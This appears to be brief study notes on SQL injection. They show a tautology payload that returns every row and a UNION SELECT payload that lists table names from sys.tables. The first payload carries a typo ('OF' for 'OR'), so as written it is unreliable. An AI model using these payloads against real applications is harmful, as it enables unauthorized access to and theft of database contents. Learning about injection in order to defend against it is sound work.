Hacking
Many input fields simply complete a SQL statement, so you may add an OR to change the output
-- The original statement behind the scenes
SELECT * FROM orders WHERE id =
-- If we add:
1234 OF 1=1
-- it will be true for every row and thus return every row
-- Use a UNION command to get to another table
-- The original statement behind the scenes
SELECT * FROM orders WHERE id =
-- if we add to get the table names (match the number of columns):
1234 UNION SELECT 0, NULL, name, 0, 0 FROM sys.tables